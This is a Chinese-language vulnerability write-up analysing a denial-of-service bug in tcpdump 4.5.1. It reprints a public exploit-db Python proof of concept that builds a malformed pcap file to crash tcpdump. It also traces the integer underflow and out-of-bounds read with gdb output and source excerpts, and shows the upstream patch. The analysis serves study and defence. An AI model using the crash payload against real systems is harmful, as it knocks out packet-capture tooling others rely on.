TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统:包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中,tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump;它需要WinPcap驱动,相当于在Linux平台下的libpcap. tcpdump能够分析网络行为,性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息,从而使用户能够进一步找出问题的根源。 也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量,如Telnet或HTTP的数据包,查看登录的用户名、密码、网址、正在浏览的网站内容,或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁,而是对网络上的其他计算机的安全存在威胁。 分析环境 Ubuntu 16.04.4 LTS i686 tcpdump 4.5.1 gdb with peda 漏洞复现 这个漏洞触发的原因是,tcpdump在处理特殊的pcap包的时候,由于对数据包传输数据长度没有进行严格的控制,导致在连续读取数据包中内容超过一定长度后,会读取到无效的内存空间,从而导致拒绝服务的发生。对于这个漏洞,首先要对pcap包的结构进行一定的分析,才能够最后分析出漏洞的成因,下面对这个漏洞进行复现。
编译安装tcpdump 1 2 3 4 5 6 7 8 9 10 11 1.# apt-get install libpcap-dev 2.# dpkg -l libpcap-dev 3.# wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz 4.# tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz 5.# cd tcpdump-4.5.1/ 6.# ./configure 7.# make 8.# make install 9.# tcpdump –-version tcpdump version 4.5.1 libpcap version 1.7.4
生成payload(来自exploit-db payload) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # Exploit Title: tcpdump 4.5.1 Access Violation Crash # Date: 31st May 2016 # Exploit Author: David Silveiro # Vendor Homepage: http://www.tcpdump.org # Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz # Version: 4.5.1 # Tested on: Ubuntu 14 LTS from subprocess import call from shlex import split from time import sleep def crash(): command = 'tcpdump -r crash' buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00' buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a' buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'" buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00" buffer += '\x00\x00\x00\x00\x01\x03\x03\x04' with open('crash', 'w+b') as file: file.write(buffer) try: call(split(command)) print("Exploit successful! ") except: print("Error: Something has gone wrong!") def main(): print("Author: David Silveiro ") print(" tcpdump version 4.5.1 Access Violation Crash ") sleep(2) crash() if __name__ == "__main__": main()
崩溃分析 pcap包格式 首先来分析一下pcap包的格式,首先是pcap文件头的内容,在.h有所定义,这里将结构体以及对应变量含义都列出来。1 2 3 4 5 6 7 8 9 struct pcap_file_header { bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */ };
看一下各字段的含义:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 magic: 4字节 pcap文件标识 目前为“d4 c3 b2 a1” major: 2字节 主版本号 #define PCAP_VERSION_MAJOR 2 minor: 2字节 次版本号 #define PCAP_VERSION_MINOR 4 thiszone:4字节 时区修正 并未使用,目前全为0 sigfigs: 4字节 精确时间戳 并未使用,目前全为0 snaplen: 4字节 抓包最大长度 如果要抓全,设为0x0000ffff(65535), tcpdump -s 0就是设置这个参数,缺省为68字节 linktype:4字节 链路类型 一般都是1:ethernet struct pcap_pkthdr { struct timeval ts; /* time stamp */ bpf_u_int32 caplen; /* length of portion present */ bpf_u_int32 len; /* length this packet (off wire) */ }; struct timeval { long tv_sec; /* seconds (XXX should be time_t) */ suseconds_t tv_usec; /* and microseconds */ }; ts: 8字节 抓包时间 4字节表示秒数,4字节表示微秒数 caplen:4字节 保存下来的包长度(最多是snaplen,比如68字节) len: 4字节 数据包的真实长度,如果文件中保存的不是完整数据包,可能比caplen大
其中len变量是值得关注的,因为在crash文件中,对应len变量的值为00 3C 9C 37 这是一个很大的值,读取出来就是379C3C00,数非常大,实际上在wireshark中打开这个crash文件,就会报错,会提示这个数据包的长度已经超过了范围,而换算出来的长度就是379C3C00,这是触发漏洞的关键。
gdb调试 首先通过gdb运行tcpdump,用-r参数打开poc生成的crash,tcp崩溃,到达漏洞触发位置1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 1.Program received signal SIGSEGV, Segmentation fault. 2.[----------------------------------registers-----------------------------------] 3.EAX: 0x1 4.EBX: 0x81e33bd --> 0x0 5.ECX: 0x2e ('.') 6.EDX: 0x0 7.ESI: 0xbfffe201 ('.' <repeats 14 times>) 8.EDI: 0xbfffe1db --> 0x30303000 ('') 9.EBP: 0x10621 10.ESP: 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>: mov ecx,DWORD PTR [esp+0xc]) 11.EIP: 0x8053c6a (<hex_and_ascii_print_with_offset+106>: movzx edx,BYTE PTR [ebx+ebp*2+0x1]) 12.EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) 13.[-------------------------------------code-------------------------------------] 14. 0x8053c5d <hex_and_ascii_print_with_offset+93>: je 0x8053d40 <hex_and_ascii_print_with_offset+320> 15. 0x8053c63 <hex_and_ascii_print_with_offset+99>: mov ebx,DWORD PTR [esp+0x18] 16. 0x8053c67 <hex_and_ascii_print_with_offset+103>: sub esp,0x4 17.=> 0x8053c6a <hex_and_ascii_print_with_offset+106>: movzx edx,BYTE PTR [ebx+ebp*2+0x1] 18. 0x8053c6f <hex_and_ascii_print_with_offset+111>: movzx ecx,BYTE PTR [ebx+ebp*2] 19. 0x8053c73 <hex_and_ascii_print_with_offset+115>: push edx 20. 0x8053c74 <hex_and_ascii_print_with_offset+116>: mov ebx,edx 21. 0x8053c76 <hex_and_ascii_print_with_offset+118>: mov DWORD PTR [esp+0x18],edx 22.[------------------------------------stack-------------------------------------] 23.0000| 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>: mov ecx,DWORD PTR [esp+0xc]) 24.0004| 0xbfffe1b0 --> 0xb7fff000 --> 0x23f3c 25.0008| 0xbfffe1b4 --> 0x1 26.0012| 0xbfffe1b8 --> 0x2f5967 ('gY/') 27.0016| 0xbfffe1bc --> 0x0 28.0020| 0xbfffe1c0 --> 0x0 29.0024| 0xbfffe1c4 --> 0x7ffffff9 30.0028| 0xbfffe1c8 --> 0x81e33bd --> 0x0 31.[------------------------------------------------------------------------------] 32.Legend: code, data, rodata, value 33.Stopped reason: SIGSEGV 34.hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>, 35. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91 36.91 s2 = *cp++;
从崩溃信息来看,出错位置为s2 = cp++;崩溃原因为SIGSEGV,即进程执行了一段无效的内存引用或发生段错误。可以看到,问题出现在./print-ascii.c:91,而且此时指针读取[ebx+ebp 2+0x1]的内容,可能是越界读取造成的崩溃。 再结合源码信息可知,指针cp在自加的过程中访问到了一个没有权限访问的地址,因为这是写在一个while循环里,也就是是说nshorts的值偏大,再看nshorts怎么来的,由此nshorts = length / sizeof(u_short);可知,可能是函数传入的参数length没有控制大小导致,因此目标就是追踪length是如何传入的。 我们通过bt回溯一下调用情况。1 2 3 4 5 6 7 8 9 10 11 12 13 1.gdb-peda$ bt 2.#0 hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>, 3. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91 4.#1 0x08053e26 in hex_and_ascii_print (ident=0x80c04af "\n\t", cp=0x81e33bd "", length=0xfffffff3) at ./print-ascii.c:127 5.#2 0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 <Gndo>, h=0xbfffe40c, p=<optimized out>) at ./print-802_15_4.c:180 6.#3 0x080a0aea in print_packet (user=0xbfffe4dc " \023\036\b\300\034\005\b\001", h=0xbfffe40c, sp=0x81e33a8 "@\377") 7. at ./tcpdump.c:1950 8.#4 0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8 9.#5 0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8 10.#6 0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:1569 11.#7 0xb7de9637 in __libc_start_main (main=0x804a4c0 <main>, argc=0x3, argv=0xbffff6c4, init=0x80b1230 <__libc_csu_init>, 12. fini=0x80b1290 <__libc_csu_fini>, rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbffff6bc) at ../csu/libc-start.c:291 13.#8 0x0804c245 in _start ()
函数调用流程1 2 3 4 pcap_loop |----print_packet |-----hex_and_ascii_print |-------- hex_and_ascii_print_with_offset
由此可见,从main函数开始了一连串函数调用,git源码下来看看。 tcpdump.c找到pcap_loop调用1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 1. do { 2. status = pcap_loop(pd, cnt, callback, pcap_userdata); 3. if (WFileName == NULL) { 4. /* 5. * We're printing packets. Flush the printed output, 6. * so it doesn't get intermingled with error output. 7. */ 8. if (status == -2) { 9. /* 10. * We got interrupted, so perhaps we didn't 11. * manage to finish a line we were printing. 12. * Print an extra newline, just in case. 13. */ 14. putchar('n'); 15. } 16. (void)fflush(stdout); 17. }
设置断点之后查看一下该函数的执行结果
pcap_loop通过callback指向print_packet,来看一下它的源码1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 1.static void 2.print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp) 3.{ 4. struct print_info *print_info; 5. u_int hdrlen; 6. ++packets_captured; 7. ++infodelay; 8. ts_print(&h->ts); 9. print_info = (struct print_info *)user; 10. /* 11. * Some printers want to check that they're not walking off the 12. * end of the packet. 13. * Rather than pass it all the way down, we set this global. 14. */ 15. snapend = sp + h->caplen; 16. if(print_info->ndo_type) { 17. hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);<==== 18. } else { 19. hdrlen = (*print_info->p.printer)(h, sp); 20. } 21. putchar('n'); 22. --infodelay; 23. if (infoprint) 24. info(0);}
同样设置断点看该函数是如何调用执行的
这是我们可以根据call的信息,计算出调用的函数名
其中(*print_info->p.ndo_printer)(print_info->ndo,h,sp)指向ieee802_15_4_if_print
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 25.u_int 26.ieee802_15_4_if_print(struct netdissect_options *ndo, 27.const struct pcap_pkthdr *h, const u_char *p) 28.{ 29.printf("address : %x\n",p); 30.u_int caplen = h->caplen; //传入的caplen,赋值给无符号整形变量caplen,且该值为8 31.int hdrlen; 32.u_int16_t fc; 33.u_int8_t seq; 34.if (caplen < 3) { //不满足 35.ND_PRINT((ndo, "[|802.15.4] %x", caplen)); 36.return caplen; 37.} 38.fc = EXTRACT_LE_16BITS(p); 39.hdrlen = extract_header_length(fc); 40.seq = EXTRACT_LE_8BITS(p + 2); 41.p += 3; 42.caplen -= 3;//此时caplen = 5 43.ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7])); 44.if (vflag) 45.ND_PRINT((ndo,"seq %02x ", seq)); 46.if (hdrlen == -1) { 47.ND_PRINT((ndo,"malformed! ")); 48.return caplen; 49.} 50.if (!vflag) { 51.p+= hdrlen; 52.caplen -= hdrlen; 53.} else { 54.u_int16_t panid = 0; 55.switch ((fc >> 10) & 0x3) { 56.case 0x00: 57.ND_PRINT((ndo,"none ")); 58.break; 59.case 0x01: 60.ND_PRINT((ndo,"reserved destination addressing mode")); 61.return 0; 62.case 0x02: 63.panid = EXTRACT_LE_16BITS(p); 64.p += 2; 65.ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p))); 66.p += 2; 67.break; 68.case 0x03: 69.panid = EXTRACT_LE_16BITS(p); 70.p += 2; 71.ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))); 72.p += 8; 73.break; 74.} 75.ND_PRINT((ndo,"< "); 76.switch ((fc >> 14) & 0x3) { 77.case 0x00: 78.ND_PRINT((ndo,"none ")); 79.break; 80.case 0x01: 81.ND_PRINT((ndo,"reserved source addressing mode")); 82.return 0; 83.case 0x02: 84.if (!(fc & (1 << 6))) { 85.panid = EXTRACT_LE_16BITS(p); 86.p += 2; 87.} 88.ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p))); 89.p += 2; 90.break; 91.case 0x03: 92.if (!(fc & (1 << 6))) { 93.panid = EXTRACT_LE_16BITS(p); 94.p += 2; 95.} 96.ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)))); 97.p += 8; 98.break; 99.} 100.caplen -= hdrlen; 101.}
传入的第二个值是struct pcap_pkthdr *h结构体,函数使用的参数caplen就是结构体中的caplen,不难看出,caplen进行一些加减操作后,没有判断正负,直接丢给了下一个函数使用。 直接跟进函数,看看最后赋值情况
从源码和调试信息可以看到libpcap在处理不正常包时不严谨,导致包的头长度hdrlen竟然大于捕获包长度caplen,并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数,导致caplen==0xfffffff3过长。 继续跟进hex_and_asciii_print(ndo_default_print)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 1.void 2.hex_and_ascii_print(register const char *ident, register const u_char *cp, 3. register u_int length) 4.{ 5. hex_and_ascii_print_with_offset(ident, cp, length, 0); 6.} 其中length==0xfffffff3,继续执行 1.void 2.hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length, 3. register u_int oset) 4.{ 5. register u_int i, s; 6. register int nshorts; 7. 8. nshorts = (u_int) length / sizeof(u_short); 9. i = 0; 10. while (--nshorts >= 0) { 11. if ((i++ % 8) == 0) { 12. (void)printf("%s0x%04x: ", ident, oset); 13. oset += HEXDUMP_BYTES_PER_LINE; 14. } 15. s = *cp++; <======= 抛出错误位置 16. (void)printf(" %02x%02x", s, *cp++); 17. } 18. if (length & 1) { 19. if ((i % 8) == 0) 20. (void)printf("%s0x%04x: ", ident, oset); 21. (void)printf(" %02x", *cp); 22. } nshorts=(u_int) length / sizeof(u_short) => nshorts=0xfffffff3/2=7FFFFFF9
但数据包数据没有这么长,导致了crash。
内存分析 仔细分析之后发现,通过len判断的这个长度并没有进行控制,如果是自己构造的一个超长len的数据包,则会连续读取到不可估计的值。 通过查看epx的值来看一下这个内存到底开辟到什么位置1 2 3 4 1.gdb-peda$ x/10000000x 0x81e33bd 2.0x8203fdd: 0x00000000 0x00000000 0x00000000 0x00000000 3.0x8203fed: 0x00000000 0x00000000 0x00000000 0x00000000 4.0x8203ffd: Cannot access memory at address 0x8204000
可以看到,到达0x 8204000附近的时候,就是无法读取的无效地址了,那么初始值为0x 81e33bd,用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40,因为ebx+ebp*2+0x1一次读取两个字节,那么循环计数器就要除以2,最后结果为0x 10620。 来看一下到达拒绝服务位置读取的长度:EBX: 0x81e33bd –> 0x0;EBP: 0x10621; EBP刚好为10621。正是不可读取内存空间的地址,因此造成拒绝服务。
漏洞总结 总结一下整个漏洞触发过程,首先tcpdump会读取恶意构造的pcap包,在构造pcap包的时候,设置一个超长的数据包长度,tcpdump会根据len的长度去读取保存在内存空间数据包的内容,当引用到不可读取内存位置时,会由于引用不可读指针,造成拒绝服务漏洞。
漏洞修补 Libpcap依然是apt安装的默认版本,tcpdump使用4.7 .0-bp版本 在hex_and_ascii_print_with_offset中增加对caplength的判断1 2 3 4 5 6 7 8 9 1.caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0; 2.if (length > caplength) 3. length = caplength; 4.nshorts = length / sizeof(u_short); 5.i = 0; 6.hsp = hexstuff; asp = asciistuff; 7.while (--nshorts >= 0) { 8. ... 9.}
可以看到执行完caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;,caplength为0,继续执行,可以推出length同样为0,到这里已经不会发生错误了。
参考 exploit-db payload WHEREISK0SHL分析博客 libpcap/tcpdump源码
]]>
-
-
+